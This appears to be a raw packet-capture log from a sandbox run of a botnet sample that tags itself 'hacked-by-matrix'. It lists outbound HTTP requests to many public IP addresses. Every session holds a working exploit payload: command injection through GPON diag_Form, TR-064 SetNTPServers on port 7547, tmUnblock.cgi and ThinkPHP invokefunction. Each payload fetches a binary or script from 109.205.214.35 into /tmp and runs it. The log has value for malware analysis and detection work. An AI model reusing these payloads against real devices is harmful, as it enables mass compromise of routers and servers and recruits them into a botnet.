Mar 21, 2024 05:23:34.841434002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1952	192.168.2.13	46228	212.177.199.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.841434002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1953	192.168.2.13	57968	5.80.216.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.841480970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1954	192.168.2.13	43176	42.133.103.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.841519117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1955	192.168.2.13	45564	212.28.19.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.841519117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1956	192.168.2.13	58820	212.99.159.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.841568947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1957	192.168.2.13	52284	42.252.142.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.841613054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1958	192.168.2.13	32974	42.117.142.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.841636896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1959	192.168.2.13	54204	118.173.254.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.841645002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1960	192.168.2.13	55948	42.10.253.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.841665030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1961	192.168.2.13	57554	212.150.9.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.841677904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1962	192.168.2.13	32882	79.141.59.191	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.923566103 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:35.154092073 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:23:34 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1963	192.168.2.13	41430	177.34.93.206	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.934075117 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1964	192.168.2.13	37828	172.67.145.221	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.955172062 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1965	192.168.2.13	45240	152.170.146.6	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.970701933 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1966	192.168.2.13	41300	221.150.92.184	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.985874891 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:36.463346958 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1967	192.168.2.13	49958	183.127.245.223	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.991940022 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1968	192.168.2.13	43114	175.241.76.146	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.992027998 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1969	192.168.2.13	57068	95.71.118.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:35.153959036 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:35.388248920 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Tue, 12 Oct 2021 09:54:50 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1970	192.168.2.13	33500	79.141.59.191	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:35.154264927 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:35.377793074 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:23:34 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Mar 21, 2024 05:23:36.516299009 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:23:34 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1971	192.168.2.13	42048	177.34.93.206	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:35.169584036 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1972	192.168.2.13	45272	152.170.146.6	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:35.228960037 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1973	192.168.2.13	41916	221.150.92.184	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:35.271111012 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1974	192.168.2.13	50580	183.127.245.223	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:35.282890081 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
